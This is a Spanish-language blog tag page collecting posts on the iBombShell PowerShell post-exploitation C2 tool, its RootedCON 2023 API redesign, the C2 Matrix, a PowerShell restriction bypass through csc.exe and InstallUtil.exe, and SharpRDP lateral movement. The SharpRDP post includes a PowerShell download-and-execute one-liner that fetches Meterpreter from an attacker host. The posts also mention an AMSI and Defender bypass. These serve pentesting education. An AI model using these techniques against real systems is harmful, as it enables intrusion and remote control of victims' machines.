Mostrando entradas con la etiqueta ibombshell. Mostrar todas las entradas
Mostrando entradas con la etiqueta ibombshell. Mostrar todas las entradas

miércoles, marzo 22, 2023

"iBombShell: Revolution". Sólo para Pentesters!

El pasado día 10 de Marzo participamos en RootedCON 2023 dónde tuvimos la oportunidad de presentar el trabajo que hemos trabajado desde hace un tiempo. La idea es la de proporcionar a los pentesters y desarrolladores el potencial de iBombShell y poder integrarlo con sus herramientas. 

Figura 1: "iBombShell: Revolution". Sólo para Pentesters!

De este modo podemos decir que iBombShell o el Core de ésta es una API que permitirá a los usuarios poder integrar lo que ellos quieran. Damos un pequeño repaso a esta presentación, comentando las principales novedades de iBombShell: Revolution.

¿Qué era iBombShell y que ha cambiado?

Ya se ha hablado largo y tendido sobre iBombShell en este blog, desde Euskalhack 2018 dónde mostramos la idea de lo que queríamos hacer, pasando por técnicas de post-explotación y el desarrollo de nuevos módulos para esta herramienta Open Source. Sin olvidarnos de uno de los momentos más importantes para iBombShell que fue la presentación en la BlackHat Eruope 2018 en Londres. O la incorporación de iBombShell a la C2Matrix, un hito más que interesante de este proyecto, el cual nos llena de orgullo y nos rellena la barra de la ilusión para hacer nuevas cosas.

Figura 2: iBombShell en GitHub

iBombShell Legacy tenía dos modos de funcionamiento, el llamado “Everywhere”, que permitía descargar a memoria, en apenas 4 pasos, una consola PowerShell con funciones útiles y dinámicas para un pentester, y que estuviera disponible en cualquier momento y en cualquier lugar.
Y, por otro lado, también se contaba con el llamado modo “Silently” que permitía conectar una instancia de iBombShell a un C2 escrito en Python y que podía ordenar de manera remota instrucciones creadas en los módulos de PowerShell.

Figura  4: iBombShell Legacy y sus modos Everywhere y Silently

Para la renovación de iBombShell, se quería cambiar completamente el modo de trabajo, centrándonos en hacer una herramienta más sencilla, fácilmente extensible, integrable con varios clientes y que fuera un componente que estuviera centralizado, de tal manera que un equipo de trabajo pueda utilizar una misma instancia de iBombShell para realizar sus pruebas. De esta manera, queremos destacar como principales novedades de la versión Revolution:
  • Nuevo iBombShell "apificado": Como se ha comentado anteriormente, iBombShell ahora es una gran API a la que llamamos Core. ¿Cómo interactuar con el Core? Vamos a desarrollar algunos clientes “oficiales” del proyecto, pero cualquier desarrollador o pentester podrá integrar sus necesidades directamente con el Core gracias al uso de la API.
  • Gestión total desde el CORE: El Core gestiona todo lo que sucede en iBombShell, es decir, si hay que cargar un módulo, si hay que ejecutarlo, si llega la conexión de un nuevo warrior, etcétera.
  • Gestión de usuarios: El Core es una plataforma multiusuario, pero de esto hablaremos en otro artículo para explicar cómo funcionan los roles y los usuarios en iBombShell.
  • Autenticación (JWT): Toda acción que deba ser autorizada utilizará un JWT. Esto es algo que creemos que es importante para la gestión de usuarios y lo que cada uno puede hacer.
  • Generación warriors (code / file): La generación de los Warriors, tal como ocurría en la ‘Legacy’ iBombShell se puede hacer tanto en código como en un fichero. Iremos mostrando algunos ejemplos de uso para que se entienda mejor.
  • Nueva consola para los warriors (PowerShell): Se ha implementado una nueva consola en Powershell para interactuar con el nuevo Core.
  • Facilidad de integración.
Arquitectura de iBomShell

La nueva arquitectura de iBombShell cuenta con una pieza central: el core. Este elemento realiza toda la gestión de los usuarios, los módulos, los warriors y las tareas. Para almacenar la información se apoya en una base de datos local SQLite, además de algunos diccionarios para almacenar en memoria los usuarios activos y los warriors en ejecución.


Todo esto es accesible y gestionable desde la API, de tal manera que es posible integrar distintos clientes como web, interfaces gráficas de usuario para distintas plataformas, consolas, o automatizar la generación de warriors y creación de tareas con scripts en Bash, Python, JavaScript…

Figura 6: Arquitectura de iBombShell

La API se ha dividido en 4 principales tags, los mismos que gestiona el core y, a través de la especificación OpenAPI, se puede acceder a su documentación y prueba de la misma. Algunas de las peticiones que se tienen disponibles a través de la API son:
  • /auth: Permite la autenticación de usuarios y la obtención de un JWT para usar la API.
  • /get_modules: Permite obtener los módulos, ordenados por categorías.
  • /generate: Solicita la generación de un nuevo warrior.
  • /create_task: Crea una nueva tarea asociada a un warrior.
  • /get_task_warrior: Solicitado por un warrior para obtener su tarea a ejecutar.
  • /put_task: Utilizado por el warrior para guardar los resultados de una tarea ejecutada.
  • /get_task_results: Utilizado por un cliente para obtener los resultados de una tarea ya ejecutada.
Iremos publicando más información sobre la API y la doc de ésta, cuando se libere el proyecto. A día de hoy, queremos implementar clientes oficiales para que el core de lo mejor de sí. 

Figura 7: Documentación de la API de iBombShell

Para la charla de RootedCON todo lo mostramos de integración fue desarrollado con pocos días para mostrar a los desarrolladores el potencial que la Apificación del Core de iBombShell proporcionaba y cómo podían integrar fácilmente scripts u otro tipo de herramientas.

Workflows

Para darle un sentido a todo, es necesario contar con algunos flujos de trabajo. Por ejemplo, en primer lugar, contar con un Token JWT para acceder a gran parte de la API. Para realizar esto, haremos una petición a /auth con un usuario y contraseña válidos, y obtendremos el JWT que utilizaremos, a partir de ahora, en la cabecera Authorization [Bearer] para hacer el resto de peticiones.



Figura 8: Flujo de trabajo de la autenticación del cliente

A continuación, podemos leer todos los módulos disponibles, definir los valores necesarios para utilizar distintos módulos u optar por generar un nuevo guerrero. Una vez que se dispone de un guerrero en ejecución es posible asignar tareas y esperar a que el warrior descargue las instrucciones para ejecutarse y devolver los resultados.

Figura 9: Flujo de trabajo de creación de nuevas tareas

El workflow del warrior es bastante sencillo ya que se basa en, primero el registro del nuevo warrior, y después hacer peticiones constantes al listener de iBombShell (Core) para consultar si tiene nuevas tareas asociadas a su identificador para descargarlas, ejecutarlas y mandar los resultados de nuevo al listener.

Figura 10: Flujo de trabajo del Warrior

Y esto es, a grandes rasgos, las novedades del nuevo iBombShell. Pronto tendremos más novedades e iremos mostrando algunas cosas. Este año es el año en el que iBombShell se reinventa y viene con la capacidad de dar el control al desarrollador. En el siguiente vídeo tienes una demostración completa de siete minutos de las principales funciones de iBombShell Revolution mezclada con Kali Linux y Metasploit. Sólo para pentesters.



El repositorio oficial de iBombShell en Github mantiene la versión ‘Legacy’ sobre la que no haremos cambios hasta que publiquemos la nueva versión. Y antes de acabar… Gracias Securiters por darnos la oportunidad de presentar nuestro trabajo en vuestro track.

Happy Hacking with iBombShell!

Autores: Pablo González Pérez escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González
Contactar con Pablo González

martes, diciembre 15, 2020

Pentesting con Powershell e iBombShell en CoronaCON Edición 2

El pasado fin de semana se ha llevado a cabo la segunda edición de CoronaCON, una con benéfica en la que se busca recaudar fondos para la Cruz Roja en diferentes países de habla hispana y que busca ayudar a luchar contra la pandemia que estamos sufriendo. Tal y como ocurrió en la primera edición con la nueva versión de Hidden Networks, estuvimos apoyando la causa benéfica dando una charla sobre iBombShell y las posibilidades que aporta Powershell al pentesting.

Figura 1: Pentesting con Powershell e iBombShell en CoronaCON Edición 2



En la charla se muestra cómo utilizamos las técnicas de Pentesting con Powershell en la parte de post-explotación y cómo surgió la herramienta iBombshell, partiendo de la base de varios proyectos anteriores. Además, comenté que volveríamos a retomar esta herramienta, ya que tal y como nos mostraron los amigos de ‘The MatrixC2’ es una herramienta que ha sido bien recibida por la comunidad.

Figura 2: Pentesting con Powershell 2ª Edición

Los trabajos en los que nos apoyamos hasta llegar a iBombShell fueron dos. En el año 2014 y 2015Give me a Powershell and I will move your world’ mostraba el potencial de utilizar una Powershell. Este trabajo se mostró en Qurtuba 2015 en Córdoba (España)En aquella época no existía AMSI, por lo que ejecutar cualquier código en Powershell era sinónimo de éxito. Años antes, en 2012 y 2013, la aparición de un gran número de repositorios en Github dónde cientos de funcionalidades de pentesting fueron migradas a Powershell nos hacía ver por dónde irían los tiros en lo que a post-explotación se refiere. Y esto tiene mucho sentido, ya que Powershell permite al pentester acceder a cualquier estructura del sistema operativo facilitando, y mucho, la parte de post-explotación. 


Figura 3: PSBot: Dame una PowerShell y moveré el mundo

Un año después, en el año 2016 se trabajó en un nuevo proyecto llamado ‘PSBoT: No tools, but not problem!’. La idea de este nuevo trabajo basado en el uso de Powershell para la parte de post-explotación era utilizar un bot para cargar dinámicamente funciones a memoria, siendo de tipo "Fileless", es decir, que no hubiera descarga de scripts a disco. La idea básica es, ¿Necesitas hacer un pentesting y no tienes herramientas? ¿No puedes instalarlas? ¿Tienes una Powershell? Puedes hacer esto, esto y esto… Además, el bot se podía controlar a través de Twitter y a través de otro script escrito para controlar el bot y enviarle órdenes e instrucciones a través del mecanismo de carga dinámica con "Fileless".


En 2017, empecé a ver el concepto de "Pentesting Everywhere", y ahora se ve de dónde viene. Así nació iBombShell y sus modos de funcionamiento everywhere y silently. iBombShell está disponible en el repositorio de Github de Telefónica. Además, tenemos la rama Dev, donde hemos ido mostrando las cosas nuevas que íbamos incorporando en el proyecto. Al principio, la idea era solo el modo everywhere, como algo innovador. Es decir, proporcionar al pentester un prompt a modo de consola que se descarga las funciones dinámicamente en una Powershell desde repositorios de Github. Es más, hicimos una ‘receta’: 

1. Abrir Powershell 
 
2. Descargar a memoria un prompt 
 
3. Ejecutar prompt 
 
4. Posibilidad de descarga de funciones a memoria y poder ejecutarlas

Antes de hablar de demos y del modo silently, comentamos que iBombShell fue presentada en BlackHat Europe 2018. El equipo de Ideas Locas ha estado presente en alguna edición de los últimos 4 años en BlackHat (3 en Europe y 1 en USA). Esto es algo que mirando con perspectiva sabemos que es el trabajo de todos y el esfuerzo de cada miembro que ha estado en el equipo. No es fácil presentar herramientas e investigaciones en uno de los congresos más importantes del mundo, donde encontramos a los mejores expertos en esta materia. La pandemia nos ha hecho verlo con cierta perspectiva y estamos orgullosos.


Las demos que se realizaron sobre el modo everywhere de iBombShell fueron la obtención del prompt de la consola de pentesting y el uso en entornos donde no tuviéramos conexión a Internet. Esto último es algo interesante, ya que no siempre dispondremos de conexión a Internet en un escenario de pentesting, por lo que podemos llevar preparado todo lo que necesitamos y almacenado en el registro. Para ello existe la función ‘savefunctions’ que nos permite almacenar en el registro de Windows toda la información sobre las funciones que tenemos descargadas, las funciones de uso interno de iBombShell y su prompt o consola.

Figura 6: iBombshell everywhere in isolated environments

Como se puede ver en la descripción del repositorio, tenemos un código para poder leer del registro las funciones previamente utilizadas, en algún momento, las internas y la consola. Es una forma de hacer persistente a iBombShell, pero sin tener que generar ficheros de tipo script en el disco. Si observamos en la rama HKCU:\Software\Classes\ibombshell encontraremos que por cada función y cada línea de dicha función se crea un valor.

En el transcurso de la charla se habló también del modo silently, el cual permite convertir la consola de iBombShell en un agente o ‘warrior’ de post-explotación que se conectará contra un C2. Por esta funcionalidad iBombShell está dentro del grupo de C2 de The MatrixC2. El esquema de funcionamiento del modo silently es sencillo y es el siguiente:

Figura 7: Modo Silently

En la charla se mostraron algunas demos relacionados con este uso. Primero diferenciamos en cómo se puede lograr ejecutar un ‘warrior’ en una máquina remota. Para ello hacemos uso de un exploit que explote una vulnerabilidad en la máquina remota y como payload le metemos, por ejemplo, una DLL generada con iBombShell, la cual tiene el código asociado para conectarse contra el C2 de iBombShell. Esto es algo que herramientas como Empire tienen y proporcionan una posibilidad de ejecutar el agente de post-explotación desde un exploit de manera sencilla.

Figura 7: Hacking avanzado en el Red Team con Empire & iBombShell

Posteriormente, una vez lograda la ejecución de nuestro agente de post-explotación se explicó cómo hacer una escalada de privilegios y un movimiento lateral con módulos que hay en iBombShell. También hablamos de AMSI para Windows 10, por lo que os dejamos un video de ejemplo de cómo hacer bypass de AMSI con iBombShell.


Figura 8: Cómo saltarse AMSI y desactivar Windows Defender con iBombshell

La última vez que actualizamos el repositorio fue hace unos meses, pero queremos volver a retomarlo y meterle algunas funcionalidades nuevas, por lo que la intención está escrita. Los primeros cambios se verán en la rama ‘Dev’ del repositorio.

Sin duda, una herramienta de la que estamos orgullosos, por cómo se generó, por cómo evolucionó, por su sencillez y flexibilidad, por generar comunidad, por recibir ese apoyo de la comunidad en forma de módulos y funcionalidades y porque nos divierte utilizarla. Pronto, novedades.

 
Saludos,

Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters: Gold Edition", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell (2ª Edición)”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

 Contactar con Pablo González

sábado, noviembre 07, 2020

C2 Matrix: Una matriz para comparar los paneles de Command & Control donde está iBombShell

El artículo de hoy es algo diferente, ya que nos vamos a hacer algo práctico, pero si vamos a ver algo relacionado con la práctica y con el Ethical Hacking. En la pasada BlackHat USA, dónde estuvimos con ATTPwn, conocí el proyecto de Jorge Orchilles y Bryson Bort llamado ‘the C2 Matrix’. Poco después coincidí en 8dot8 Las Vegas con Jorge Orchilles donde comentábamos nuestras charlas de BlackHat en español especial de la 8dot8.

Figura 1: C2 Matrix: Una matriz para comparar los paneles
de Command & Control donde está iBombShell

El proyecto de C2 Matrix es interesante por proporcionar una matriz donde encontrar diferentes herramientas de pentesting y Red Team y que permite comparar, documentar y conocer frameworks de C2 que facilitan la emulación de los adversarios. Es decir, es un listado de herramientas clasificadas por características, funcionalidades, soporte, etcétera. Un proyecto que permite conocer más cosas de las herramientas más conocidas, pero también conocer otras menos conocidas y que tienen potencial.

Figura 2: Empire: Hacking Avanzado en el Red Team
de Pablo GonzálezSebastián Castro

Gracias al uso de un C2 (Command & Control), los pentesters y los “red teamers” pueden controlar y gestionar máquinas durante las diferentes fases de post-explotación. Si vamos a los términos más puristas, el MITRE ATT&CK define Command & Control como las técnicas que los adversarios utilizan para comunicar con sistemas que se encuentran bajo su control. ¿Cuáles son los objetivos de los adversarios, generalmente? Evitar la detección, entre otras cosas.


Una de las grandes sorpresas que me lleve en BlackHat es ver a nuestra querida iBombShell - de la que hablamos mucho en el libro de Hacking Avanzado en el Red Team con Empire (& iBombShell) -entre todas esas grandes herramientas que se pueden ver en la matriz. Fue una grata sorpresa, ya que no hemos podido dedicarle todo el ‘cariño’ que nos hubiera gustado a nuestra C2 Pentesting Tool. Vamos a ver qué pinta tiene la matriz. 

Figura 4: Metasploit para Pentesters Gold Edition

En la siguiente imagen, no están todas, pero ya podemos ver herramientas muy potentes como Empire, Metasploit, Cobalt Strike o Covenant. En esta primera pestaña de la matriz podemos ver información sobre la versión y sobre la implementación o instalación de dependencias y de la propia herramienta.

Figura 5: Lista de proyectos C2 en C2 Matrix

En el apartado de ‘Code + UI’ podemos ver diferentes opciones, como son el tipo de lenguaje para el servidor y el tipo de lenguaje para el agente de post-explotación. Además, información como si la herramienta es multiusuario, qué tipo de interacción por parte del usuario tiene y si dispone de API se puede encontrar.

Figura 6: lista Code+ UI en C2 Matrix

En el apartado de "Channels" podemos encontrar los canales utilizados por las herramientas para comunicarse. Cuantos más canales se disponga puede ser mejor para pasar desapercibido, pudiendo utilizar unos y otros de forma indistinta, pero son posibilidades que ofrecen algunas herramientas.

Figura 7: Lista por Channels en C2 Matrix

En el apartado de Agents y de Support podemos encontrar si el agente es multiplataforma. En el caso de iBombShell podemos ver cómo es funcional en entornos Windows, GNU/Linux y macOS. La pestaña de soporte nos indica dónde podemos descargarnos las herramientas o comunicar con sus desarrolladores, dónde encontrar más información en alguna Wiki, etcétera.

Figura 8: Sección Capabilites en C2 Matrix

En esta pestaña de ‘Capabilities’ podemos encontrar cosas bastante interesantes sobre los diferentes proyectos de C2 incluidos en C2 Matrix, como por ejemplo:

- Herramientas con intercambio de claves para cifrar contenidos. Siempre fue algo que en iBombshell pensamos meter, pero que de momento no hemos metido. 
 
- Funcionalidades compatibles con el uso de un proxy. En el caso de iBombshell tenemos esta posibilidad. 
 
- Perfiles personalizados, ‘working hours’ o ‘kill date’. Working hours y Kill Date son funcionalidades típicas de un agente de Empire, aunque el aporte en un pentest puede ser más limitado. 
 
- Me llama la atención la clasificación con ATT&CK Mapping.

Como se puede ver la matriz proporciona un documento dónde comparar funcionalidades y proporcionar información al pentester. Yo hubiera incluido estabilidad o tiempo de desarrollo para proporcionar un elemento de ‘calidad’ de la herramienta, ya que muchas veces también se busca esa estabilidad en este tipo de herramientas. 

Figura 9: Presentación de Jorge Orchilles en BlackHat USA 2020

Os dejo con el vídeo de la sesión de Jorge Orchilles en BlackHat USA 2020 donde nuestra pequeña y querida iBombshell jugó con las grandes.

Saludos,

Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

 Contactar con Pablo González

jueves, marzo 26, 2020

Pentesting con Powershell sin tener Powershell en Windows

Por supuesto que Powershell es una herramienta de administración y gestión en el mundo IT poderosa, pero si estás leyendo este blog sabes que para los profesionales del Ethical Hacking también tiene un potencial excepcional en todas las fases, pero sobretodo para la fase de pos-explotación.

Figura 1: Pentesting con Powershell sin tener Powershell en Windows

Pero, ¿qué ocurre si estamos en un entorno que no es el ideal y no podemos tener acceso a esta poderosa herramienta? Muchas veces los pentesters o los equipos de Red Team no pueden ejecutar Powershell directamente, ya sea por permisos en el usuario actual o bien por que han aplicado una política de seguridad de fortificación tipo "Máxima Seguridad en Windows" para evitar la  ejecución de Powershell. ¿Qué podemos hacer frente a esta limitación ?

Figura 2: Máxima Seguridad en Windows Gold Edition

Es en este punto donde marca la diferencia el pentester, aquel que destaca con su creatividad y pensamiento lateral y consigue llegar donde otros no llegan. Es eso lo que para nosotros es un "hacker", que consigue inventar un camino nuevo y llevar la tecnología a un lugar más allá del que había estado antes. Por ese motivo, y en honor a los creativos, vamos a saltarnos esta limitación de no poder utilizar una powershell.exe para aún así poder ejecutar código en Powershell.

Figura 3: Relájate y be a good hacker

Tanto Powershell como C# son “frontends” para el framework .NET, por ello vamos a utilizar esto a nuestro favor. Utilizaremos los ejecutables de C# para llamar a la misma funcionalidad de .NET con la que accederíamos a través de Powershell, y así sacar el máximo provecho a esta herramienta con sus infinitas posibilidades.

Figura 4: Pentesting con Powershell 2ª Edición

Si quieres conocer lo que puedes hacer con ella, no puedo dejar de recomendaros el libro de nuestro compañero el gran Pablo González de "Pentesting con Powershell" si quieres descubrir todas sus posibilidades.

Preparando el entorno

El proceso que voy a describir, que es muy "hacker", viene muy bien explicado y detallado en el siguiente post de Brian Fehrman. Vamos a necesitar el uso de varias herramientas que vienen por defecto en cualquier entorno de Windows donde puede variar la ubicación donde encontrar dichas herramientas en función de su arquitectura y versión. Primero necesitamos crearnos nuestro pequeño código en C#:

Figura 5: Código en C#

Como se puede observar en el código lo que se va a ejecutar es el texto íntegro que tengamos en nuestro “Script.ps1”. Tenemos nuestro fichero "codigo.cs" y, ¿ahora qué? El sistema operativo Windows nos brinda una herramienta que nos permite compilar el código de C#. En esta prueba de concepto el compilador se encuentra en el siguiente directorio :
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Ejecutando el código anterior en una CMD, compilamos el fichero “codigo.cs” y obtenemos el binario “Poc.exe”. Podemos encontrarnos limitados también al no poder ejecutar una simple cmd.exe, que también es un proceso habitual de los que quieren tener Máxima Seguridad en Windows. En el caso de no poder ejecutar la consola, crearemos un acceso directo del ejecutable.

Figura 6: Compilación de codigo.cs con csc.exe

Abrimos después las propiedades del acceso directo que hemos creado y en el "target" o "destino" introducimos el comando anterior, salvo la parte de la ruta de nuestro codigo.cs, ya que también estamos limitados a cierto número de caracteres en este campo. Aplicamos los cambios y arrastramos nuestro "codigo.cs" dentro del acceso directo.

Figura 7: Configuración del acceso directo

De cualquiera de las dos formas conseguimos nuestro binario, pero podemos seguir limitados en la ejecución de binarios por no estar incluido en una lista blanca. No pasa nada. Hay que seguir resolviendo problemas y en este caso volvemos a tirar de otra herramienta del propio Windows:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
Como en el caso anterior, crearemos un acceso directo en el escritorio que apunte a este ejecutable, en sus propiedades, modificaremos el “target” - para que ejecute el binario y hacer un volcado de todo el proceso resultado en un fichero de log - con el siguiente comando:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
  /logfile=C:\Users\IEUser\Desktop\nps\log.txt /LogToConsole=false /U
Guardamos los cambios, arrastramos nuestro binario “Poc.exe” dentro del acceso directo y esto ejecutará nuestro Script.ps1, que en nuestro ejemplo es coo sigue en la imagen siguiente.

Figura 8: Script.ps1

Este script trata de descargarse la consola de nuestra querida iBombshell, que utilizamos en una entrada anterior del blog. Si abrimos el fichero “todo.txt” podemos ver que se ejecuta nuestro script y ha hecho la tarea que necesitábamos.

Figura 9: Hemos conseguido ejecutar iBombShell

Así podemos lanzar pequeños script para volcar información que queramos recopilar en un test de intrusión sin vernos limitados por no poder utilizar una PowerShell. Es un buen ejemplo de pensamiento lateral que todo pentester debe desarrollar y no conformarse con las limitaciones con las que se puede encontrar en sus auditorías.

Saludos,

Autor: Víctor Rodríguez Boyero, Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.

martes, febrero 18, 2020

SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

El movimiento lateral es algo que siempre interesa a un pentester y a un equipo de Red Team. Los investigadores buscan nuevas técnicas y nuevas formas de hacerlo. Se puede estar al día en algunos recursos como el blog de SpecterOps o en iread.team. Pero sobretodo, lo más interesante es estudiar y poner en práctica en tu propio laboratorio, mirar qué ocurre por debajo, cómo funciona la técnica y cuáles son las detecciones y mitigaciones.

Figura 1: SharpRDP: Movimiento lateral con RDP en un Ethical Hacking

Como dice el autor de SharpRDP, no es una nueva técnica lo que se va a mostrar aquí, pero si es otra forma de hacer movimiento lateral, y en este caso a través del uso del escritorio remoto o RDP (Remote Desktop Protocol). La idea que hay detrás de SharpRDP es llevar a cabo un movimiento lateral a través de un canal C2 (Command&Control) existente.

Figura 2: SharpRDP en GitHub

Esto es interesante pero, ¿cómo llevarlo a cabo? La explicación que da el investigador 0xthirteen, autor de la herramienta SharpRDP, que se puede descargar desde el Github de la aplicación, es magnífica, ya que se explica cómo utiliza una DLL (Dynamic-Linked Library)  del sistema para hacer la ejecución de comandos remotos a través de la autenticación en el sistema.

¿Cómo funciona?

El sistema operativo Microsoft Windows dispone de una DLL llamada mstscax.dll. Esta DLL da acceso a las acciones que se pueden realizar a través del RDP. Esta DLL es utilizada por, seguramente, casi todos los clientes de RDP. Por ejemplo, Remote Desktop Connection, que tantas veces se usa en el Hacking de Windows para atacar redes de sistemas Microsoft, hace uso de esta librería.

Figura 3: Hacking Windows "Ataques a sistemas y redes Microsoft"

Esta DLL en concreto es una biblioteca ActiveX COM para Terminal Services. Como dice 0xthirteen, esto puede ser utilizado para generar una pequeña aplicación de consola que lleve a cabo la ejecución de comandos remotos de forma autenticada a través del protocolo RDP sin que se tenga que ejecutar un cliente GUI o un Proxy SOCKS.

Figura 4: Ejecución de comandos sin GUI vía SharpRDP

El proyecto SharpRDP es una pequeña herramienta de consola .NET, la cual puede ser utilizada, y utilizaremos, para realizar este movimiento lateral. En la Figura 4, tienes la forma de usar la herramienta.

¿Tiene alguna limitación?

La verdad es que sí y no. Vamos a explicarlo. La herramienta puede utilizar credenciales en texto plano para su autenticación contra la máquina remota. Esto será algo más o menos normal o la situación normal. Puede ser que encontremos que el host remoto tenga activado el modo de administración restringido, el cual se puede visualizar en la siguiente ruta del registro y con la siguiente clave.
HKLM\System\CurrentControlSet\Control\Lsa 
DisableRestrictedAdmin = 0
Si esto es así, se podrá utilizar SharpRDP en el mismo contexto del usuario actual y no hará falta introducir credenciales en texto plano, y esta máquina será perfecta para movernos lateralmente por la empresa en un Ethical Hacking.

Figura 5: Manual de Ethical Hacking

Vamos a mostrar un ejemplo de la ejecución básica de SharpRDP. Se recomienda echar un ojo al "usage" de la herramienta, porque tiene varias opciones interesantes. Lo primero es utilizar la autenticación RDP desde la consola para ejecutar, por ejemplo, una calculadora sobre la máquina remota.

Figura 6: Petición de calc.exe vía SharpRDP

Como se puede ver en la siguiente imagen siguiente, se obtiene una calculadora. Si la sesión de usuario no está creada, se crea y se ejecuta el código. Si la sesión está creada, el usuario es expulsado de la sesión y se ejecuta el código.

Figura 7: Ejecución de calc.exe remoamente

Hay que decir que SharpRDP lo estamos ejecutando desde una máquina con Windows 10. Hay que indicar también que vemos la posibilidad sencilla de ejecutar instrucciones que nos devuelvan una sesión, por ejemplo, de Meterpreter de nuestro querido Metasploit o, ¿por qué no? una iBombshell remota.

Figura 8: Libro de Hacking con Metasploit: Advanced Pentesting
de 
Borja Merino y Pablo González

A continuación se puede visualizar la instrucción que queremos ejecutar en remoto: iex(new-object net.webclient).downloadstring(‘http://[ip]:[port]/’). Es decir, se ejecuta una consola Powershell y ésta genera un objeto de tipo net.webclient que se conectará una dirección y un puerto.

Figura 9: Ejecución remota de PowerShell descargando Meterpreter remotamente

¿Qué hay en esa dirección IP y ese puerto? Pues un Meterpreter que servimos con el módulo exploit/multi/script/web_delivery.

Figura 10: Meterpreter conseguido vía uso de movimiento lateral RDP

Tras unos segundos de tensión, se obtiene la sesión a través del módulo web_delivery de Metasploit para continuar con nuestro trabajo.

Otras situaciones que no maneja SharpRDP

Existen algunas excepciones que nos podemos encontrar con SharpRDP y que tampoco maneja bien, por ejemplo:
Autenticación multifactorial: No se maneja la autenticación MFA, por lo que se desconectará SharpRDP. 
Mover archivos: SharpRDP no tiene la posibilidad o capacidad de mover archivos sobre el protocolo RDP.
Una técnica interesante y una herramienta interesante, y bastante moderna como se puede ver en el Github, apenas tiene un mes. Una solución interesante para llevar en la mochila del pentester.

Saludos,

Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell” y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González

Figura 11: Contactar con Pablo González

Entrada destacada

+300 referencias a papers, posts y talks de Hacking & Security con Inteligencia Artificial

Hace un mes comencé a recuperar en un post mi interés en los últimos años, donde he publicado muchos artículos en este blog , y he dejado mu...

Entradas populares